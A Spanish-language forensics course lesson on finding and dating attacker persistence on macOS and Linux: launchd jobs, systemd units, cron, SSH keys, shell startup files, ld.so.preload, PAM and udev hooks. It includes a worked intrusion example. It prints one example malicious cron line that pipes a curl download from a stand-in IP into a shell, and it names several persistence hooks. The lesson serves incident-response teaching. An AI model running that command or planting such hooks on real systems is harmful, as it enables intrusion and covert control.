Lo esencial de macOS y Linux · Lección 5 de 5
Persistencia en macOS y Linux
13 min de lectura
La persistencia es cualquier mecanismo que permite a un intruso o a un malware sobrevivir a un reinicio, un cierre de sesión o un cambio de contraseña. En macOS y Linux casi siempre es un archivo: una lista de propiedades, un archivo de unidad, una línea de crontab o una clave pública. Esta lección enumera las principales ubicaciones de inicio automático de ambos sistemas y muestra cómo distinguir las entradas maliciosas de las legítimas, fecharlas y atribuirlas. La persistencia en Windows se trata en el Módulo 2.
El método del examinador
- Enumerar todas las ubicaciones de inicio automático de esa versión del sistema operativo, tanto del sistema como de cada directorio personal, incluidos
/rooty las cuentas de servicio comowww-data. - Comparar con una referencia: un sistema de la misma compilación cuyo buen estado se conozca o los registros del gestor de paquetes. Pregúntese a quién pertenece cada archivo (¿a un paquete, a un paquete de aplicación firmado por un proveedor, a ninguno?) y si el programa que inicia se encuentra en una ubicación inusual, como
/tmp,/dev/shmo un archivo cuyo nombre comienza con un punto en/usr/local/bin. - Registrar el propietario, el modo, todas las marcas de tiempo (ext4 y APFS conservan una hora de creación), el tamaño y el SHA-256 del archivo de configuración y del programa que inicia.
- Ordenar por tiempo y buscar elementos creados o modificados durante el intervalo del incidente; después, corroborarlos con los registros (Lección 6.4) y la evidencia de ejecución.
- Identificar cada hallazgo con un ID de técnica de MITRE ATT&CK. Los ID son vocabulario, no evidencia: permiten comparar los informes.
| Técnica | ID | Subtécnicas de macOS y Linux |
|---|---|---|
| Crear o modificar un proceso del sistema | T1543 | .001 Agente de lanzamiento, .004 Demonio de lanzamiento, .002 Servicio de systemd |
| Tarea/trabajo programado | T1053 | .003 Cron, .006 Temporizadores de systemd |
| Manipulación de cuentas: claves autorizadas de SSH | T1098.004 | Clave pública añadida |
| Ejecución activada por eventos | T1546 | .004 Modificación de la configuración del intérprete de comandos de Unix, .017 Reglas de udev |
| Ejecución automática al arrancar o iniciar sesión | T1547 | .015 Elementos de inicio de sesión, .006 Módulos y extensiones del kernel |
| Scripts de inicialización al arrancar o iniciar sesión | T1037 | .004 Scripts RC |
ID relacionados que encontrará: T1574.006 Secuestro del enlazador dinámico (ld.so.preload), T1556.003 Módulos de autenticación conectables, T1505.003 Shell web y T1136.001 Crear una cuenta: cuenta local.
macOS
Demonios y agentes de launchd
launchd (PID 1) inicia trabajos descritos en listas de propiedades; la Lección 6.1 trata los archivos plist XML y binarios y su lectura con plutil -p.
| Carpeta | Se ejecuta como | Se inicia |
|---|---|---|
/Library/LaunchDaemons | root, o la cuenta indicada en UserName | Al arrancar, sin ningún usuario conectado |
/Library/LaunchAgents | Cada usuario que inicia sesión | Al iniciar sesión cada usuario |
~/Library/LaunchAgents | Ese usuario | Al iniciar sesión ese usuario |
/System/Library/LaunchDaemons y LaunchAgents | Trabajos propios de Apple | Protegidos; no son un objetivo habitual |
Las carpetas de /System están protegidas por la Protección de Integridad del Sistema (SIP, OS X 10.11+) y, a partir de macOS 11, se encuentran en el volumen del sistema sellado y de solo lectura, así que busque en /Library y en las carpetas de los usuarios. Las claves relevantes:
Label: el nombre único del trabajo, normalmente con formato DNS inverso. Una etiquetacom.apple.fuera de/Systemmerece un examen minucioso.ProgramoProgramArguments: el ejecutable y sus argumentos; debe localizarlo y calcular su hash./bin/sh -c,curluosascriptson señales de alerta.RunAtLoad: iniciar en cuanto se cargue el trabajo (al arrancar o iniciar sesión).KeepAlive: reiniciar el trabajo cada vez que termine.StartInterval: ejecutar cada N segundos (StartCalendarIntervales la variante similar a cron).
Elementos de inicio de sesión, perfiles y otros puntos de macOS
A partir de macOS 13 Ventura, la gestión de tareas en segundo plano (BTM) realiza un seguimiento de los elementos de inicio de sesión, los agentes y los demonios de lanzamiento, notifica al usuario y los enumera en Ajustes del Sistema > General > Ítems de inicio. Su base de datos es /private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v<N>.btm, donde N cambia entre versiones. Es un plist binario en el formato de archivo con claves de Apple; en un Mac en funcionamiento, sudo sfltool dumpbtm muestra el identificador, el nombre del desarrollador, el tipo, la disposición y la ruta del ejecutable de cada elemento. Las versiones de macOS de la 10.13 a la 12 conservaban los elementos de inicio de sesión en ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.
- Los perfiles de configuración (
.mobileconfig) pueden instalar certificados raíz, configuraciones de proxy, DNS o VPN, o la inscripción en MDM: control en lugar de código. Enumérelos en un sistema en funcionamiento consudo profiles list. A partir de macOS 11, la herramientaprofilesno puede instalar un perfil de forma silenciosa, por lo que un perfil malicioso implica la aprobación del usuario o el uso de MDM. - cron y periodic siguen existiendo, pero rara vez se utilizan: crontabs de usuarios en
/private/var/at/tabs/<user>y scripts en/etc/periodic/daily|weekly|monthly. - Perfiles del intérprete de comandos: zsh es el predeterminado desde la versión 10.15.
~/.zshenvse ejecuta para cada zsh,~/.zprofilepara los intérpretes de inicio de sesión y~/.zshrcpara los interactivos, además de/etc/zprofiley/etc/zshrc. Solo se ejecutan cuando se inicia un intérprete de comandos. - Los complementos de autorización de
/Library/Security/SecurityAgentPlugins, una vez referenciados en la base de datos de autorización, se ejecutan durante el inicio de sesión con acceso a la contraseña introducida; las extensiones del kernel (/Library/Extensions, obsoletas desde macOS 10.15) y las extensiones del sistema (10.15+,systemextensionsctl list) necesitan la aprobación explícita del usuario.
Importa cómo llegó el binario. Los navegadores y Mail añaden el atributo com.apple.quarantine (Lección 6.1), por lo que Gatekeeper comprueba la firma y la notarización en el primer inicio. curl no añade ninguno, por lo que un binario depositado que no lo tenga es compatible con una descarga mediante un script. Compruebe la firma con codesign -dv --verbose=4.
Linux
Servicios y temporizadores de systemd
Los archivos de unidad se leen de /etc/systemd/system (administrador, máxima prioridad), /run/systemd/system (tiempo de ejecución) y /lib/systemd/system o /usr/lib/systemd/system (paquetes). Las unidades de usuario de ~/.config/systemd/user se ejecutan mientras ese usuario tiene una sesión iniciada, o siempre si está habilitada la persistencia de sus servicios tras cerrar sesión (/var/lib/systemd/linger/<user>).
En una unidad, [Service] contiene ExecStart= (el programa), Restart=always (reiniciar al terminar) y User=; [Install] contiene WantedBy=multi-user.target. systemctl enable actúa sobre WantedBy creando un enlace simbólico en /etc/systemd/system/multi-user.target.wants/. El enlace es un inodo nuevo, por lo que su propia hora de creación (leída sin seguirlo: stat sobre el enlace, o istat sobre su inodo) permite fechar cuándo se creó por última vez, normalmente mediante systemctl enable. Compruebe también las carpetas de configuración complementaria (<unit>.d/*.conf), que pueden sobrescribir el ExecStart= de un servicio legítimo. Los temporizadores (.timer con OnCalendar= u OnBootSec=) inician el .service del mismo nombre; enumérelos en un sistema en funcionamiento con systemctl list-timers --all.
cron, claves SSH y archivos de inicio del intérprete de comandos
La Lección 6.3 presentó las ubicaciones de cron y at. Las entradas maliciosas tienen un aspecto como * root curl -fsSL http://203.0.113.50/k.sh | sh: cada minuto, una descarga se canaliza a un intérprete de comandos. También son sospechosos los bloques de base64, un crontab para www-data o un archivo de /etc/cron.d que no pertenezca a ningún paquete.
OpenSSH lee de forma predeterminada .ssh/authorized_keys y .ssh/authorized_keys2 en cada directorio personal; compruebe AuthorizedKeysFile o AuthorizedKeysCommand en sshd_config. Cada línea contiene opciones opcionales, el tipo de clave, la clave en base64 y un comentario. El comentario es texto libre elegido por quien creó la clave y no permite atribuir nada. Opciones como command="…" (forzar un comando) o from="198.51.100.0/24" (orígenes permitidos) cambian lo que hace la clave. ssh-keygen -lf authorized_keys muestra la huella SHA256: de cada clave, que debe cotejar con líneas de sshd como Accepted publickey for root from … ssh2: ED25519 SHA256:… (Lección 6.4).
Los intérpretes Bash de inicio de sesión leen /etc/profile (que carga /etc/profile.d/*.sh) y el primero de los archivos ~/.bash_profile, ~/.bash_login y ~/.profile; los intérpretes interactivos que no son de inicio de sesión leen /etc/bash.bashrc (familia Debian) y ~/.bashrc. Busque al final de estos archivos nohup … &, alias sudo= o export LD_PRELOAD=.
Mecanismos de enganche más profundos
- rc.local e init.d: si
/etc/rc.localexiste y es ejecutable, systemd lo ejecuta al arrancar, y los scripts SysV de/etc/init.dse ejecutan mediante un generador de compatibilidad; systemd 260 (2026) eliminó ambos. /etc/ld.so.preload: normalmente no existe. Cada objeto compartido enumerado se carga en todos los programas enlazados dinámicamente, la técnica clásica de los rootkits en modo usuario para ocultar archivos y procesos a las herramientas ejecutadas en el equipo en funcionamiento.- Módulos del kernel:
/etc/modules,/etc/modules-load.d/*.confy/etc/modprobe.d/*.conf(cuyas líneasinstallpueden ejecutar comandos).lsmodlee/proc/modules, que un rootkit puede falsificar; compare los archivos de módulos de/lib/modules/<kernel>/, los mensajes del kernel comomodule verification failed: signature and/or required key missing - tainting kernely la memoria (Módulo 5). - Reglas de udev: un
RUN+="…"en/etc/udev/rules.d/*.rulesse ejecuta ante cada evento de dispositivo coincidente. - PAM: una línea en
/etc/pam.d/que añadapam_exec.so expose_authtokentrega cada contraseña introducida a un programa; unpam_unix.soreemplazado puede aceptar una contraseña maestra. - Cuentas: un segundo UID 0 en
/etc/passwd, nuevos miembros desudo/wheelo archivos en/etc/sudoers.d(Lección 6.3). - Shells web: pequeños archivos
.phpo.jspbajo/var/www, propiedad de la cuenta del servidor web.
Validación con el gestor de paquetes
dpkg -V (o debsums -c) compara los archivos con las sumas MD5 registradas durante la instalación; rpm -Va comprueba también el tamaño, el modo, el propietario y mtime, y muestra indicadores como S.5....T. (tamaño, resumen y hora modificados) y c para los archivos de configuración, que cambian de forma legítima. dpkg -S <path> o rpm -qf <path> indica el paquete al que pertenece un archivo. Limitaciones: solo se comprueban los archivos que pertenecen a paquetes, de modo que una unidad nueva, un archivo de cron nuevo o una línea nueva en authorized_keys son invisibles; además, un atacante con privilegios de root puede editar la base de datos (/var/lib/dpkg/info/*.md5sums, /var/lib/rpm) o las herramientas. Es preferible utilizar los hashes de los paquetes originales obtenidos del servidor espejo de la distribución y compararlos en su estación de trabajo con el montaje de solo lectura.
Referencia rápida
| Ubicación | SO | Cuándo se ejecuta | Cómo comprobarlo |
|---|---|---|---|
/Library/LaunchDaemons/*.plist | macOS | Al arrancar, como root | ProgramArguments, hash del destino, crtime |
~/Library/LaunchAgents/*.plist | macOS | Al iniciar sesión el usuario | Lo mismo, por usuario |
BackgroundItems-v<N>.btm | macOS 13+ | Al iniciar sesión | sfltool dumpbtm (en funcionamiento) o un analizador de BTM |
/etc/systemd/system/*.service + *.wants/ | Linux | Al arrancar | dpkg -S, crtime del enlace, ExecStart |
~/.config/systemd/user/ | Linux | Durante la sesión del usuario | Archivo de persistencia tras el cierre de sesión, ExecStart |
*.timer, /etc/cron.d, crontabs | Ambos (cron) | Según la programación | Frecuencia, comando, propietario |
~/.ssh/authorized_keys | Ambos | Al iniciar sesión por SSH | Huellas frente al registro de sshd |
~/.zshrc, ~/.bashrc, /etc/profile.d/*.sh | Ambos | Al iniciar el intérprete de comandos | Líneas añadidas al final |
/etc/rc.local, /etc/init.d/ | Linux | Al arrancar | Existencia, permiso de ejecución, propietario |
/etc/ld.so.preload | Linux | Cada vez que se inicia un programa | No debería existir |
/etc/modules-load.d/, /etc/modprobe.d/ | Linux | Al arrancar | Archivos de módulos, mensajes de contaminación del kernel |
/etc/udev/rules.d/ | Linux | Ante un evento de dispositivo | Entradas RUN+= |
/etc/pam.d/ | Linux | Durante la autenticación | pam_exec, dpkg -V |
Ejemplo resuelto: un falso asistente de D-Bus
Un servidor web Debian 12 (zona horaria UTC−3) sufrió una intrusión el 14 de marzo de 2026:
| Elemento | Evidencia | UTC |
|---|---|---|
deploy inicia sesión | auth.log: Accepted password for deploy from 198.51.100.23 | 2026-03-14T14:18:05Z |
| Intérprete de comandos de root | sudo: deploy : … USER=root ; COMMAND=/bin/bash | 14:19:12Z |
| Clave añadida | mtime y ctime de /root/.ssh/authorized_keys; nueva línea ssh-ed25519, comentario backup@web01 | 14:23:37Z |
| Binario depositado | crtime de /usr/local/bin/.dbus-helper; SHA-256 6b856bbe9d9d3448c05fd885e758345f47bba2812bc8b7e15299e82a70ea8142 | 14:25:02Z |
| Servicio habilitado | crtime del enlace simbólico multi-user.target.wants/dbus-helper.service | 14:26:10Z |
| Finaliza la sesión | session closed for user deploy | 14:31:40Z |
| Clave utilizada | Accepted publickey for root from 203.0.113.77 port 40122 ssh2: ED25519 SHA256:Cn2JcyZ2wuDBa4eq1qcqPCgpueXIwuMbVag5jAOwvEU | 2026-03-15T02:07:44Z |
La unidad /etc/systemd/system/dbus-helper.service contiene ExecStart=/usr/local/bin/.dbus-helper, Restart=always y WantedBy=multi-user.target. dpkg -S no encuentra ningún paquete propietario de ninguno de los dos archivos; la unidad auténtica de D-Bus es dbus.service, en /lib/systemd/system, y el punto inicial oculta el binario en un listado simple con ls.
Fechar la habilitación. stat sobre el enlace simbólico muestra Birth: 2026-03-14 11:26:10.483920117 -0300; 11:26:10 + 3 h = 14:26:10Z. Compruébelo en el inodo sin procesar: i_crtime en el desplazamiento 0x90 contiene 02 70 B5 69, little-endian 0x69B57002 = 1.773.498.370 segundos desde 1970-01-01 = 2026-03-14T14:26:10Z. i_crtime_extra en 0x94 contiene D4 23 60 73 = 0x736023D4; desplazado 2 bits a la derecha da 483.920.117 ns, y sus dos bits menos significativos (00) no añaden ninguna extensión de época.
Vincular la clave. ssh-keygen -lf sobre la nueva línea da SHA256:Cn2JcyZ2wuDBa4eq1qcqPCgpueXIwuMbVag5jAOwvEU, idéntica a la del inicio de sesión de las 02:07:44Z, por lo que se utilizó esa clave desde una dirección nueva.
Atribución. Los tres elementos se crearon en orden dentro del intérprete de comandos de root de la sesión de deploy (de 14:18:05Z a 14:31:40Z). Las horas de creación muestran cuándo aparecieron los inodos, no quién actuó; el intervalo de la sesión aporta ese vínculo, después de comprobar wtmp y el diario en busca de otras sesiones abiertas en ese momento. touch no puede establecer crtime ni ctime, por lo que un mtime con una fecha anterior no ocultaría 14:25:02Z. Informe de T1543.002 y T1098.004.
Enfoque del examen: Prepárese para indicar qué carpeta y cuenta utiliza un trabajo de launchd, leerProgramArguments,RunAtLoadyKeepAlive, y fechar un servicio de systemd a partir de su enlace simbólico en*.wants. Es posible que deba cotejar una huella deauthorized_keyscon una líneaAccepted publickey, convertir una hora local destata UTC e indicar la ruta completa y el SHA-256 de un binario.
Puntos clave
- La persistencia es un archivo en una ubicación conocida de inicio automático; enumérelas todas, tanto del sistema como de cada usuario, y después compárelas con una referencia.
- Los LaunchDaemons se ejecutan como root al arrancar; los LaunchAgents se ejecutan como el usuario al iniciar sesión;
/System/Librarypertenece a Apple y está sellado. systemctl enablecrea un enlace simbólico en*.wants/; la hora de creación del propio enlace permite fechar la habilitación.- Demuestre qué clave SSH se utilizó cotejando su huella
SHA256:con la líneaAccepted publickeyde sshd; ignore el comentario de la clave. dpkg -Vyrpm -Vasolo abarcan los archivos que pertenecen a paquetes y confían en una base de datos que root puede modificar.- Los ID de ATT&CK como T1543, T1053, T1098.004, T1546, T1547 y T1037 identifican hallazgos; no los demuestran.